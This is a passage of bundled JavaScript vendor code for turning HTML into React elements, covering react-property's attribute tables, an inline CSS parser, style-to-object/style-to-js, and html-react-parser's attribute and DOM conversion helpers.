        summary: 0,
        tabIndex: 1,
        target: 0,
        title: 0,
        type: 0,
        useMap: 1,
        value: 0,
        width: 0,
        wmode: 0,
        wrap: 0,
        about: 0,
        accentHeight: 1,
        "accent-height": "accentHeight",
        accumulate: 0,
        additive: 0,
        alignmentBaseline: 1,
        "alignment-baseline": "alignmentBaseline",
        allowReorder: 1,
        alphabetic: 0,
        amplitude: 0,
        arabicForm: 1,
        "arabic-form": "arabicForm",
        ascent: 0,
        attributeName: 1,
        attributeType: 1,
        autoReverse: 1,
        azimuth: 0,
        baseFrequency: 1,
        baselineShift: 1,
        "baseline-shift": "baselineShift",
        baseProfile: 1,
        bbox: 0,
        begin: 0,
        bias: 0,
        by: 0,
        calcMode: 1,
        capHeight: 1,
        "cap-height": "capHeight",
        clip: 0,
        clipPath: 1,
        "clip-path": "clipPath",
        clipPathUnits: 1,
        clipRule: 1,
        "clip-rule": "clipRule",
        color: 0,
        colorInterpolation: 1,
        "color-interpolation": "colorInterpolation",
        colorInterpolationFilters: 1,
        "color-interpolation-filters": "colorInterpolationFilters",
        colorProfile: 1,
        "color-profile": "colorProfile",
        colorRendering: 1,
        "color-rendering": "colorRendering",
        contentScriptType: 1,
        contentStyleType: 1,
        cursor: 0,
        cx: 0,
        cy: 0,
        d: 0,
        datatype: 0,
        decelerate: 0,
        descent: 0,
        diffuseConstant: 1,
        direction: 0,
        display: 0,
        divisor: 0,
        dominantBaseline: 1,
        "dominant-baseline": "dominantBaseline",
        dur: 0,
        dx: 0,
        dy: 0,
        edgeMode: 1,
        elevation: 0,
        enableBackground: 1,
        "enable-background": "enableBackground",
        end: 0,
        exponent: 0,
        externalResourcesRequired: 1,
        fill: 0,
        fillOpacity: 1,
        "fill-opacity": "fillOpacity",
        fillRule: 1,
        "fill-rule": "fillRule",
        filter: 0,
        filterRes: 1,
        filterUnits: 1,
        floodOpacity: 1,
        "flood-opacity": "floodOpacity",
        floodColor: 1,
        "flood-color": "floodColor",
        focusable: 0,
        fontFamily: 1,
        "font-family": "fontFamily",
        fontSize: 1,
        "font-size": "fontSize",
        fontSizeAdjust: 1,
        "font-size-adjust": "fontSizeAdjust",
        fontStretch: 1,
        "font-stretch": "fontStretch",
        fontStyle: 1,
        "font-style": "fontStyle",
        fontVariant: 1,
        "font-variant": "fontVariant",
        fontWeight: 1,
        "font-weight": "fontWeight",
        format: 0,
        from: 0,
        fx: 0,
        fy: 0,
        g1: 0,
        g2: 0,
        glyphName: 1,
        "glyph-name": "glyphName",
        glyphOrientationHorizontal: 1,
        "glyph-orientation-horizontal": "glyphOrientationHorizontal",
        glyphOrientationVertical: 1,
        "glyph-orientation-vertical": "glyphOrientationVertical",
        glyphRef: 1,
        gradientTransform: 1,
        gradientUnits: 1,
        hanging: 0,
        horizAdvX: 1,
        "horiz-adv-x": "horizAdvX",
        horizOriginX: 1,
        "horiz-origin-x": "horizOriginX",
        ideographic: 0,
        imageRendering: 1,
        "image-rendering": "imageRendering",
        in2: 0,
        in: 0,
        inlist: 0,
        intercept: 0,
        k1: 0,
        k2: 0,
        k3: 0,
        k4: 0,
        k: 0,
        kernelMatrix: 1,
        kernelUnitLength: 1,
        kerning: 0,
        keyPoints: 1,
        keySplines: 1,
        keyTimes: 1,
        lengthAdjust: 1,
        letterSpacing: 1,
        "letter-spacing": "letterSpacing",
        lightingColor: 1,
        "lighting-color": "lightingColor",
        limitingConeAngle: 1,
        local: 0,
        markerEnd: 1,
        "marker-end": "markerEnd",
        markerHeight: 1,
        markerMid: 1,
        "marker-mid": "markerMid",
        markerStart: 1,
        "marker-start": "markerStart",
        markerUnits: 1,
        markerWidth: 1,
        mask: 0,
        maskContentUnits: 1,
        maskUnits: 1,
        mathematical: 0,
        mode: 0,
        numOctaves: 1,
        offset: 0,
        opacity: 0,
        operator: 0,
        order: 0,
        orient: 0,
        orientation: 0,
        origin: 0,
        overflow: 0,
        overlinePosition: 1,
        "overline-position": "overlinePosition",
        overlineThickness: 1,
        "overline-thickness": "overlineThickness",
        paintOrder: 1,
        "paint-order": "paintOrder",
        panose1: 0,
        "panose-1": "panose1",
        pathLength: 1,
        patternContentUnits: 1,
        patternTransform: 1,
        patternUnits: 1,
        pointerEvents: 1,
        "pointer-events": "pointerEvents",
        points: 0,
        pointsAtX: 1,
        pointsAtY: 1,
        pointsAtZ: 1,
        prefix: 0,
        preserveAlpha: 1,
        preserveAspectRatio: 1,
        primitiveUnits: 1,
        property: 0,
        r: 0,
        radius: 0,
        refX: 1,
        refY: 1,
        renderingIntent: 1,
        "rendering-intent": "renderingIntent",
        repeatCount: 1,
        repeatDur: 1,
        requiredExtensions: 1,
        requiredFeatures: 1,
        resource: 0,
        restart: 0,
        result: 0,
        results: 0,
        rotate: 0,
        rx: 0,
        ry: 0,
        scale: 0,
        security: 0,
        seed: 0,
        shapeRendering: 1,
        "shape-rendering": "shapeRendering",
        slope: 0,
        spacing: 0,
        specularConstant: 1,
        specularExponent: 1,
        speed: 0,
        spreadMethod: 1,
        startOffset: 1,
        stdDeviation: 1,
        stemh: 0,
        stemv: 0,
        stitchTiles: 1,
        stopColor: 1,
        "stop-color": "stopColor",
        stopOpacity: 1,
        "stop-opacity": "stopOpacity",
        strikethroughPosition: 1,
        "strikethrough-position": "strikethroughPosition",
        strikethroughThickness: 1,
        "strikethrough-thickness": "strikethroughThickness",
        string: 0,
        stroke: 0,
        strokeDasharray: 1,
        "stroke-dasharray": "strokeDasharray",
        strokeDashoffset: 1,
        "stroke-dashoffset": "strokeDashoffset",
        strokeLinecap: 1,
        "stroke-linecap": "strokeLinecap",
        strokeLinejoin: 1,
        "stroke-linejoin": "strokeLinejoin",
        strokeMiterlimit: 1,
        "stroke-miterlimit": "strokeMiterlimit",
        strokeWidth: 1,
        "stroke-width": "strokeWidth",
        strokeOpacity: 1,
        "stroke-opacity": "strokeOpacity",
        suppressContentEditableWarning: 1,
        suppressHydrationWarning: 1,
        surfaceScale: 1,
        systemLanguage: 1,
        tableValues: 1,
        targetX: 1,
        targetY: 1,
        textAnchor: 1,
        "text-anchor": "textAnchor",
        textDecoration: 1,
        "text-decoration": "textDecoration",
        textLength: 1,
        textRendering: 1,
        "text-rendering": "textRendering",
        to: 0,
        transform: 0,
        typeof: 0,
        u1: 0,
        u2: 0,
        underlinePosition: 1,
        "underline-position": "underlinePosition",
        underlineThickness: 1,
        "underline-thickness": "underlineThickness",
        unicode: 0,
        unicodeBidi: 1,
        "unicode-bidi": "unicodeBidi",
        unicodeRange: 1,
        "unicode-range": "unicodeRange",
        unitsPerEm: 1,
        "units-per-em": "unitsPerEm",
        unselectable: 0,
        vAlphabetic: 1,
        "v-alphabetic": "vAlphabetic",
        values: 0,
        vectorEffect: 1,
        "vector-effect": "vectorEffect",
        version: 0,
        vertAdvY: 1,
        "vert-adv-y": "vertAdvY",
        vertOriginX: 1,
        "vert-origin-x": "vertOriginX",
        vertOriginY: 1,
        "vert-origin-y": "vertOriginY",
        vHanging: 1,
        "v-hanging": "vHanging",
        vIdeographic: 1,
        "v-ideographic": "vIdeographic",
        viewBox: 1,
        viewTarget: 1,
        visibility: 0,
        vMathematical: 1,
        "v-mathematical": "vMathematical",
        vocab: 0,
        widths: 0,
        wordSpacing: 1,
        "word-spacing": "wordSpacing",
        writingMode: 1,
        "writing-mode": "writingMode",
        x1: 0,
        x2: 0,
        x: 0,
        xChannelSelector: 1,
        xHeight: 1,
        "x-height": "xHeight",
        xlinkActuate: 1,
        "xlink:actuate": "xlinkActuate",
        xlinkArcrole: 1,
        "xlink:arcrole": "xlinkArcrole",
        xlinkHref: 1,
        "xlink:href": "xlinkHref",
        xlinkRole: 1,
        "xlink:role": "xlinkRole",
        xlinkShow: 1,
        "xlink:show": "xlinkShow",
        xlinkTitle: 1,
        "xlink:title": "xlinkTitle",
        xlinkType: 1,
        "xlink:type": "xlinkType",
        xmlBase: 1,
        "xml:base": "xmlBase",
        xmlLang: 1,
        "xml:lang": "xmlLang",
        xmlns: 0,
        "xml:space": "xmlSpace",
        xmlnsXlink: 1,
        "xmlns:xlink": "xmlnsXlink",
        xmlSpace: 1,
        y1: 0,
        y2: 0,
        y: 0,
        yChannelSelector: 1,
        z: 0,
        zoomAndPan: 1
      };
    }
  });

  // node_modules/react-property/lib/index.js
  var require_lib3 = __commonJS({
    "node_modules/react-property/lib/index.js"(exports) {
      "use strict";
      var RESERVED = 0;
      var STRING = 1;
      var BOOLEANISH_STRING = 2;
      var BOOLEAN = 3;
      var OVERLOADED_BOOLEAN = 4;
      var NUMERIC = 5;
      var POSITIVE_NUMERIC = 6;
      function getPropertyInfo(name123) {
        return properties.hasOwnProperty(name123) ? properties[name123] : null;
      }
      function PropertyInfoRecord(name123, type, mustUseProperty, attributeName, attributeNamespace, sanitizeURL, removeEmptyString) {
        this.acceptsBooleans = type === BOOLEANISH_STRING || type === BOOLEAN || type === OVERLOADED_BOOLEAN;
        this.attributeName = attributeName;
        this.attributeNamespace = attributeNamespace;
        this.mustUseProperty = mustUseProperty;
        this.propertyName = name123;
        this.type = type;
        this.sanitizeURL = sanitizeURL;
        this.removeEmptyString = removeEmptyString;
      }
      var properties = {};
      var reservedProps = [
        "children",
        "dangerouslySetInnerHTML",
        // TODO: This prevents the assignment of defaultValue to regular
        // elements (not just inputs). Now that ReactDOMInput assigns to the
        // defaultValue property -- do we need this?
        "defaultValue",
        "defaultChecked",
        "innerHTML",
        "suppressContentEditableWarning",
        "suppressHydrationWarning",
        "style"
      ];
      reservedProps.forEach((name123) => {
        properties[name123] = new PropertyInfoRecord(
          name123,
          RESERVED,
          false,
          // mustUseProperty
          name123,
          // attributeName
          null,
          // attributeNamespace
          false,
          // sanitizeURL
          false
          // removeEmptyString
        );
      });
      [
        ["acceptCharset", "accept-charset"],
        ["className", "class"],
        ["htmlFor", "for"],
        ["httpEquiv", "http-equiv"]
      ].forEach(([name123, attributeName]) => {
        properties[name123] = new PropertyInfoRecord(
          name123,
          STRING,
          false,
          // mustUseProperty
          attributeName,
          // attributeName
          null,
          // attributeNamespace
          false,
          // sanitizeURL
          false
          // removeEmptyString
        );
      });
      ["contentEditable", "draggable", "spellCheck", "value"].forEach((name123) => {
        properties[name123] = new PropertyInfoRecord(
          name123,
          BOOLEANISH_STRING,
          false,
          // mustUseProperty
          name123.toLowerCase(),
          // attributeName
          null,
          // attributeNamespace
          false,
          // sanitizeURL
          false
          // removeEmptyString
        );
      });
      [
        "autoReverse",
        "externalResourcesRequired",
        "focusable",
        "preserveAlpha"
      ].forEach((name123) => {
        properties[name123] = new PropertyInfoRecord(
          name123,
          BOOLEANISH_STRING,
          false,
          // mustUseProperty
          name123,
          // attributeName
          null,
          // attributeNamespace
          false,
          // sanitizeURL
          false
          // removeEmptyString
        );
      });
      [
        "allowFullScreen",
        "async",
        // Note: there is a special case that prevents it from being written to the DOM
        // on the client side because the browsers are inconsistent. Instead we call focus().
        "autoFocus",
        "autoPlay",
        "controls",
        "default",
        "defer",
        "disabled",
        "disablePictureInPicture",
        "disableRemotePlayback",
        "formNoValidate",
        "hidden",
        "loop",
        "noModule",
        "noValidate",
        "open",
        "playsInline",
        "readOnly",
        "required",
        "reversed",
        "scoped",
        "seamless",
        // Microdata
        "itemScope"
      ].forEach((name123) => {
        properties[name123] = new PropertyInfoRecord(
          name123,
          BOOLEAN,
          false,
          // mustUseProperty
          name123.toLowerCase(),
          // attributeName
          null,
          // attributeNamespace
          false,
          // sanitizeURL
          false
          // removeEmptyString
        );
      });
      [
        "checked",
        // Note: `option.selected` is not updated if `select.multiple` is
        // disabled with `removeAttribute`. We have special logic for handling this.
        "multiple",
        "muted",
        "selected"
        // NOTE: if you add a camelCased prop to this list,
        // you'll need to set attributeName to name.toLowerCase()
        // instead in the assignment below.
      ].forEach((name123) => {
        properties[name123] = new PropertyInfoRecord(
          name123,
          BOOLEAN,
          true,
          // mustUseProperty
          name123,
          // attributeName
          null,
          // attributeNamespace
          false,
          // sanitizeURL
          false
          // removeEmptyString
        );
      });
      [
        "capture",
        "download"
        // NOTE: if you add a camelCased prop to this list,
        // you'll need to set attributeName to name.toLowerCase()
        // instead in the assignment below.
      ].forEach((name123) => {
        properties[name123] = new PropertyInfoRecord(
          name123,
          OVERLOADED_BOOLEAN,
          false,
          // mustUseProperty
          name123,
          // attributeName
          null,
          // attributeNamespace
          false,
          // sanitizeURL
          false
          // removeEmptyString
        );
      });
      [
        "cols",
        "rows",
        "size",
        "span"
        // NOTE: if you add a camelCased prop to this list,
        // you'll need to set attributeName to name.toLowerCase()
        // instead in the assignment below.
      ].forEach((name123) => {
        properties[name123] = new PropertyInfoRecord(
          name123,
          POSITIVE_NUMERIC,
          false,
          // mustUseProperty
          name123,
          // attributeName
          null,
          // attributeNamespace
          false,
          // sanitizeURL
          false
          // removeEmptyString
        );
      });
      ["rowSpan", "start"].forEach((name123) => {
        properties[name123] = new PropertyInfoRecord(
          name123,
          NUMERIC,
          false,
          // mustUseProperty
          name123.toLowerCase(),
          // attributeName
          null,
          // attributeNamespace
          false,
          // sanitizeURL
          false
          // removeEmptyString
        );
      });
      var CAMELIZE = /[\-\:]([a-z])/g;
      var capitalize2 = (token) => token[1].toUpperCase();
      [
        "accent-height",
        "alignment-baseline",
        "arabic-form",
        "baseline-shift",
        "cap-height",
        "clip-path",
        "clip-rule",
        "color-interpolation",
        "color-interpolation-filters",
        "color-profile",
        "color-rendering",
        "dominant-baseline",
        "enable-background",
        "fill-opacity",
        "fill-rule",
        "flood-color",
        "flood-opacity",
        "font-family",
        "font-size",
        "font-size-adjust",
        "font-stretch",
        "font-style",
        "font-variant",
        "font-weight",
        "glyph-name",
        "glyph-orientation-horizontal",
        "glyph-orientation-vertical",
        "horiz-adv-x",
        "horiz-origin-x",
        "image-rendering",
        "letter-spacing",
        "lighting-color",
        "marker-end",
        "marker-mid",
        "marker-start",
        "overline-position",
        "overline-thickness",
        "paint-order",
        "panose-1",
        "pointer-events",
        "rendering-intent",
        "shape-rendering",
        "stop-color",
        "stop-opacity",
        "strikethrough-position",
        "strikethrough-thickness",
        "stroke-dasharray",
        "stroke-dashoffset",
        "stroke-linecap",
        "stroke-linejoin",
        "stroke-miterlimit",
        "stroke-opacity",
        "stroke-width",
        "text-anchor",
        "text-decoration",
        "text-rendering",
        "underline-position",
        "underline-thickness",
        "unicode-bidi",
        "unicode-range",
        "units-per-em",
        "v-alphabetic",
        "v-hanging",
        "v-ideographic",
        "v-mathematical",
        "vector-effect",
        "vert-adv-y",
        "vert-origin-x",
        "vert-origin-y",
        "word-spacing",
        "writing-mode",
        "xmlns:xlink",
        "x-height"
        // NOTE: if you add a camelCased prop to this list,
        // you'll need to set attributeName to name.toLowerCase()
        // instead in the assignment below.
      ].forEach((attributeName) => {
        const name123 = attributeName.replace(CAMELIZE, capitalize2);
        properties[name123] = new PropertyInfoRecord(
          name123,
          STRING,
          false,
          // mustUseProperty
          attributeName,
          null,
          // attributeNamespace
          false,
          // sanitizeURL
          false
          // removeEmptyString
        );
      });
      [
        "xlink:actuate",
        "xlink:arcrole",
        "xlink:role",
        "xlink:show",
        "xlink:title",
        "xlink:type"
        // NOTE: if you add a camelCased prop to this list,
        // you'll need to set attributeName to name.toLowerCase()
        // instead in the assignment below.
      ].forEach((attributeName) => {
        const name123 = attributeName.replace(CAMELIZE, capitalize2);
        properties[name123] = new PropertyInfoRecord(
          name123,
          STRING,
          false,
          // mustUseProperty
          attributeName,
          "http://www.w3.org/1999/xlink",
          false,
          // sanitizeURL
          false
          // removeEmptyString
        );
      });
      [
        "xml:base",
        "xml:lang",
        "xml:space"
        // NOTE: if you add a camelCased prop to this list,
        // you'll need to set attributeName to name.toLowerCase()
        // instead in the assignment below.
      ].forEach((attributeName) => {
        const name123 = attributeName.replace(CAMELIZE, capitalize2);
        properties[name123] = new PropertyInfoRecord(
          name123,
          STRING,
          false,
          // mustUseProperty
          attributeName,
          "http://www.w3.org/XML/1998/namespace",
          false,
          // sanitizeURL
          false
          // removeEmptyString
        );
      });
      ["tabIndex", "crossOrigin"].forEach((attributeName) => {
        properties[attributeName] = new PropertyInfoRecord(
          attributeName,
          STRING,
          false,
          // mustUseProperty
          attributeName.toLowerCase(),
          // attributeName
          null,
          // attributeNamespace
          false,
          // sanitizeURL
          false
          // removeEmptyString
        );
      });
      var xlinkHref = "xlinkHref";
      properties[xlinkHref] = new PropertyInfoRecord(
        "xlinkHref",
        STRING,
        false,
        // mustUseProperty
        "xlink:href",
        "http://www.w3.org/1999/xlink",
        true,
        // sanitizeURL
        false
        // removeEmptyString
      );
      ["src", "href", "action", "formAction"].forEach((attributeName) => {
        properties[attributeName] = new PropertyInfoRecord(
          attributeName,
          STRING,
          false,
          // mustUseProperty
          attributeName.toLowerCase(),
          // attributeName
          null,
          // attributeNamespace
          true,
          // sanitizeURL
          true
          // removeEmptyString
        );
      });
      var {
        CAMELCASE,
        SAME,
        possibleStandardNames: possibleStandardNamesOptimized
      } = require_possibleStandardNamesOptimized();
      var ATTRIBUTE_NAME_START_CHAR = ":A-Z_a-z\\u00C0-\\u00D6\\u00D8-\\u00F6\\u00F8-\\u02FF\\u0370-\\u037D\\u037F-\\u1FFF\\u200C-\\u200D\\u2070-\\u218F\\u2C00-\\u2FEF\\u3001-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFFD";
      var ATTRIBUTE_NAME_CHAR = ATTRIBUTE_NAME_START_CHAR + "\\-.0-9\\u00B7\\u0300-\\u036F\\u203F-\\u2040";
      var isCustomAttribute = RegExp.prototype.test.bind(
        // eslint-disable-next-line no-misleading-character-class
        new RegExp("^(data|aria)-[" + ATTRIBUTE_NAME_CHAR + "]*$")
      );
      var possibleStandardNames = Object.keys(
        possibleStandardNamesOptimized
      ).reduce((accumulator, standardName) => {
        const propName = possibleStandardNamesOptimized[standardName];
        if (propName === SAME) {
          accumulator[standardName] = standardName;
        } else if (propName === CAMELCASE) {
          accumulator[standardName.toLowerCase()] = standardName;
        } else {
          accumulator[standardName] = propName;
        }
        return accumulator;
      }, {});
      exports.BOOLEAN = BOOLEAN;
      exports.BOOLEANISH_STRING = BOOLEANISH_STRING;
      exports.NUMERIC = NUMERIC;
      exports.OVERLOADED_BOOLEAN = OVERLOADED_BOOLEAN;
      exports.POSITIVE_NUMERIC = POSITIVE_NUMERIC;
      exports.RESERVED = RESERVED;
      exports.STRING = STRING;
      exports.getPropertyInfo = getPropertyInfo;
      exports.isCustomAttribute = isCustomAttribute;
      exports.possibleStandardNames = possibleStandardNames;
    }
  });

  // vendor-external:react
  var require_react = __commonJS({
    "vendor-external:react"(exports, module) {
      module.exports = window.React;
    }
  });

  // node_modules/inline-style-parser/cjs/index.js
  var require_cjs = __commonJS({
    "node_modules/inline-style-parser/cjs/index.js"(exports, module) {
      "use strict";
      var COMMENT_REGEX = /\/\*[^*]*\*+([^/*][^*]*\*+)*\//g;
      var NEWLINE_REGEX = /\n/g;
      var WHITESPACE_REGEX = /^\s*/;
      var PROPERTY_REGEX = /^(\*?[-#/*\\\w]+(\[[0-9a-z_-]+\])?)\s*/;
      var COLON_REGEX = /^:\s*/;
      var VALUE_REGEX = /^((?:'(?:\\'|.)*?'|"(?:\\"|.)*?"|\([^)]*?\)|[^};])+)/;
      var SEMICOLON_REGEX = /^[;\s]*/;
      var TRIM_REGEX = /^\s+|\s+$/g;
      var NEWLINE = "\n";
      var FORWARD_SLASH = "/";
      var ASTERISK = "*";
      var EMPTY_STRING = "";
      var TYPE_COMMENT = "comment";
      var TYPE_DECLARATION = "declaration";
      function index(style2, options2) {
        if (typeof style2 !== "string") {
          throw new TypeError("First argument must be a string");
        }
        if (!style2) return [];
        options2 = options2 || {};
        var lineno = 1;
        var column = 1;
        function updatePosition(str) {
          var lines = str.match(NEWLINE_REGEX);
          if (lines) lineno += lines.length;
          var i2 = str.lastIndexOf(NEWLINE);
          column = ~i2 ? str.length - i2 : column + str.length;
        }
        function position() {
          var start = { line: lineno, column };
          return function(node) {
            node.position = new Position(start);
            whitespace();
            return node;
          };
        }
        function Position(start) {
          this.start = start;
          this.end = { line: lineno, column };
          this.source = options2.source;
        }
        Position.prototype.content = style2;
        function error(msg) {
          var err = new Error(
            options2.source + ":" + lineno + ":" + column + ": " + msg
          );
          err.reason = msg;
          err.filename = options2.source;
          err.line = lineno;
          err.column = column;
          err.source = style2;
          if (options2.silent) ;
          else {
            throw err;
          }
        }
        function match(re) {
          var m2 = re.exec(style2);
          if (!m2) return;
          var str = m2[0];
          updatePosition(str);
          style2 = style2.slice(str.length);
          return m2;
        }
        function whitespace() {
          match(WHITESPACE_REGEX);
        }
        function comments(rules) {
          var c2;
          rules = rules || [];
          while (c2 = comment()) {
            if (c2 !== false) {
              rules.push(c2);
            }
          }
          return rules;
        }
        function comment() {
          var pos = position();
          if (FORWARD_SLASH != style2.charAt(0) || ASTERISK != style2.charAt(1)) return;
          var i2 = 2;
          while (EMPTY_STRING != style2.charAt(i2) && (ASTERISK != style2.charAt(i2) || FORWARD_SLASH != style2.charAt(i2 + 1))) {
            ++i2;
          }
          i2 += 2;
          if (EMPTY_STRING === style2.charAt(i2 - 1)) {
            return error("End of comment missing");
          }
          var str = style2.slice(2, i2 - 2);
          column += 2;
          updatePosition(str);
          style2 = style2.slice(i2);
          column += 2;
          return pos({
            type: TYPE_COMMENT,
            comment: str
          });
        }
        function declaration() {
          var pos = position();
          var prop = match(PROPERTY_REGEX);
          if (!prop) return;
          comment();
          if (!match(COLON_REGEX)) return error("property missing ':'");
          var val = match(VALUE_REGEX);
          var ret = pos({
            type: TYPE_DECLARATION,
            property: trim(prop[0].replace(COMMENT_REGEX, EMPTY_STRING)),
            value: val ? trim(val[0].replace(COMMENT_REGEX, EMPTY_STRING)) : EMPTY_STRING
          });
          match(SEMICOLON_REGEX);
          return ret;
        }
        function declarations() {
          var decls = [];
          comments(decls);
          var decl;
          while (decl = declaration()) {
            if (decl !== false) {
              decls.push(decl);
              comments(decls);
            }
          }
          return decls;
        }
        whitespace();
        return declarations();
      }
      function trim(str) {
        return str ? str.replace(TRIM_REGEX, EMPTY_STRING) : EMPTY_STRING;
      }
      module.exports = index;
    }
  });

  // node_modules/style-to-object/cjs/index.js
  var require_cjs2 = __commonJS({
    "node_modules/style-to-object/cjs/index.js"(exports) {
      "use strict";
      var __importDefault = exports && exports.__importDefault || function(mod) {
        return mod && mod.__esModule ? mod : { "default": mod };
      };
      Object.defineProperty(exports, "__esModule", { value: true });
      exports.default = StyleToObject;
      var inline_style_parser_1 = __importDefault(require_cjs());
      function StyleToObject(style2, iterator) {
        let styleObject = null;
        if (!style2 || typeof style2 !== "string") {
          return styleObject;
        }
        const declarations = (0, inline_style_parser_1.default)(style2);
        const hasIterator = typeof iterator === "function";
        declarations.forEach((declaration) => {
          if (declaration.type !== "declaration") {
            return;
          }
          const { property, value } = declaration;
          if (hasIterator) {
            iterator(property, value, declaration);
          } else if (value) {
            styleObject = styleObject || {};
            styleObject[property] = value;
          }
        });
        return styleObject;
      }
    }
  });

  // node_modules/style-to-js/cjs/utilities.js
  var require_utilities2 = __commonJS({
    "node_modules/style-to-js/cjs/utilities.js"(exports) {
      "use strict";
      Object.defineProperty(exports, "__esModule", { value: true });
      exports.camelCase = void 0;
      var CUSTOM_PROPERTY_REGEX = /^--[a-zA-Z0-9_-]+$/;
      var HYPHEN_REGEX = /-([a-z])/g;
      var NO_HYPHEN_REGEX = /^[^-]+$/;
      var VENDOR_PREFIX_REGEX = /^-(webkit|moz|ms|o|khtml)-/;
      var MS_VENDOR_PREFIX_REGEX = /^-(ms)-/;
      var skipCamelCase = function(property) {
        return !property || NO_HYPHEN_REGEX.test(property) || CUSTOM_PROPERTY_REGEX.test(property);
      };
      var capitalize2 = function(match, character) {
        return character.toUpperCase();
      };
      var trimHyphen = function(match, prefix) {
        return "".concat(prefix, "-");
      };
      var camelCase = function(property, options2) {
        if (options2 === void 0) {
          options2 = {};
        }
        if (skipCamelCase(property)) {
          return property;
        }
        property = property.toLowerCase();
        if (options2.reactCompat) {
          property = property.replace(MS_VENDOR_PREFIX_REGEX, trimHyphen);
        } else {
          property = property.replace(VENDOR_PREFIX_REGEX, trimHyphen);
        }
        return property.replace(HYPHEN_REGEX, capitalize2);
      };
      exports.camelCase = camelCase;
    }
  });

  // node_modules/style-to-js/cjs/index.js
  var require_cjs3 = __commonJS({
    "node_modules/style-to-js/cjs/index.js"(exports, module) {
      "use strict";
      var __importDefault = exports && exports.__importDefault || function(mod) {
        return mod && mod.__esModule ? mod : { "default": mod };
      };
      var style_to_object_1 = __importDefault(require_cjs2());
      var utilities_1 = require_utilities2();
      function StyleToJS(style2, options2) {
        var output = {};
        if (!style2 || typeof style2 !== "string") {
          return output;
        }
        (0, style_to_object_1.default)(style2, function(property, value) {
          if (property && value) {
            output[(0, utilities_1.camelCase)(property, options2)] = value;
          }
        });
        return output;
      }
      StyleToJS.default = StyleToJS;
      module.exports = StyleToJS;
    }
  });

  // node_modules/html-react-parser/lib/utilities.js
  var require_utilities3 = __commonJS({
    "node_modules/html-react-parser/lib/utilities.js"(exports) {
      "use strict";
      var __importDefault = exports && exports.__importDefault || function(mod) {
        return mod && mod.__esModule ? mod : { "default": mod };
      };
      Object.defineProperty(exports, "__esModule", { value: true });
      exports.returnFirstArg = exports.canTextBeChildOfNode = exports.ELEMENTS_WITH_NO_TEXT_CHILDREN = exports.PRESERVE_CUSTOM_ATTRIBUTES = void 0;
      exports.isCustomComponent = isCustomComponent;
      exports.setStyleProp = setStyleProp;
      var react_1 = require_react();
      var style_to_js_1 = __importDefault(require_cjs3());
      var RESERVED_SVG_MATHML_ELEMENTS = /* @__PURE__ */ new Set([
        "annotation-xml",
        "color-profile",
        "font-face",
        "font-face-src",
        "font-face-uri",
        "font-face-format",
        "font-face-name",
        "missing-glyph"
      ]);
      function isCustomComponent(tagName, props) {
        if (!tagName.includes("-")) {
          return Boolean(props && typeof props.is === "string");
        }
        if (RESERVED_SVG_MATHML_ELEMENTS.has(tagName)) {
          return false;
        }
        return true;
      }
      var styleOptions = {
        reactCompat: true
      };
      function setStyleProp(style2, props) {
        if (typeof style2 !== "string") {
          return;
        }
        if (!style2.trim()) {
          props.style = {};
          return;
        }
        try {
          props.style = (0, style_to_js_1.default)(style2, styleOptions);
        } catch (error) {
          props.style = {};
        }
      }
      exports.PRESERVE_CUSTOM_ATTRIBUTES = Number(react_1.version.split(".")[0]) >= 16;
      exports.ELEMENTS_WITH_NO_TEXT_CHILDREN = /* @__PURE__ */ new Set([
        "tr",
        "tbody",
        "thead",
        "tfoot",
        "colgroup",
        "table",
        "head",
        "html",
        "frameset"
      ]);
      var canTextBeChildOfNode = function(node) {
        return !exports.ELEMENTS_WITH_NO_TEXT_CHILDREN.has(node.name);
      };
      exports.canTextBeChildOfNode = canTextBeChildOfNode;
      var returnFirstArg = function(arg) {
        return arg;
      };
      exports.returnFirstArg = returnFirstArg;
    }
  });

  // node_modules/html-react-parser/lib/attributes-to-props.js
  var require_attributes_to_props = __commonJS({
    "node_modules/html-react-parser/lib/attributes-to-props.js"(exports) {
      "use strict";
      Object.defineProperty(exports, "__esModule", { value: true });
      exports.default = attributesToProps2;
      var react_property_1 = require_lib3();
      var utilities_1 = require_utilities3();
      var UNCONTROLLED_COMPONENT_ATTRIBUTES = ["checked", "value"];
      var UNCONTROLLED_COMPONENT_NAMES = ["input", "select", "textarea"];
      var valueOnlyInputs = {
        reset: true,
        submit: true
      };
      function attributesToProps2(attributes2, nodeName) {
        if (attributes2 === void 0) {
          attributes2 = {};
        }
        var props = {};
        var isInputValueOnly = Boolean(attributes2.type && valueOnlyInputs[attributes2.type]);
        for (var attributeName in attributes2) {
          var attributeValue = attributes2[attributeName];
          if ((0, react_property_1.isCustomAttribute)(attributeName)) {
            props[attributeName] = attributeValue;
            continue;
          }
          var attributeNameLowerCased = attributeName.toLowerCase();
          var propName = getPropName(attributeNameLowerCased);
          if (propName) {
            var propertyInfo = (0, react_property_1.getPropertyInfo)(propName);
            if (UNCONTROLLED_COMPONENT_ATTRIBUTES.includes(propName) && UNCONTROLLED_COMPONENT_NAMES.includes(nodeName) && !isInputValueOnly) {
              propName = getPropName("default" + attributeNameLowerCased);
            }
            props[propName] = attributeValue;
            switch (propertyInfo && propertyInfo.type) {
              case react_property_1.BOOLEAN:
                props[propName] = true;
                break;
              case react_property_1.OVERLOADED_BOOLEAN:
                if (attributeValue === "") {
                  props[propName] = true;
                }
                break;
            }
            continue;
          }
          if (utilities_1.PRESERVE_CUSTOM_ATTRIBUTES) {
            props[attributeName] = attributeValue;
          }
        }
        (0, utilities_1.setStyleProp)(attributes2.style, props);
        return props;
      }
      function getPropName(attributeName) {
        return react_property_1.possibleStandardNames[attributeName];
      }
    }
  });

  // node_modules/html-react-parser/lib/dom-to-react.js
  var require_dom_to_react = __commonJS({
    "node_modules/html-react-parser/lib/dom-to-react.js"(exports) {
      "use strict";
      var __importDefault = exports && exports.__importDefault || function(mod) {
        return mod && mod.__esModule ? mod : { "default": mod };
      };
      Object.defineProperty(exports, "__esModule", { value: true });
      exports.default = domToReact2;
      var react_1 = require_react();
      var attributes_to_props_1 = __importDefault(require_attributes_to_props());
      var utilities_1 = require_utilities3();
      var React = {
        cloneElement: react_1.cloneElement,
        createElement: react_1.createElement,
        isValidElement: react_1.isValidElement
      };
      function domToReact2(nodes, options2) {
        if (options2 === void 0) {
          options2 = {};
        }
        var reactElements = [];
        var hasReplace = typeof options2.replace === "function";
        var transform = options2.transform || utilities_1.returnFirstArg;
        var _a = options2.library || React, cloneElement2 = _a.cloneElement, createElement2 = _a.createElement, isValidElement = _a.isValidElement;
        var nodesLength = nodes.length;
        for (var index = 0; index < nodesLength; index++) {
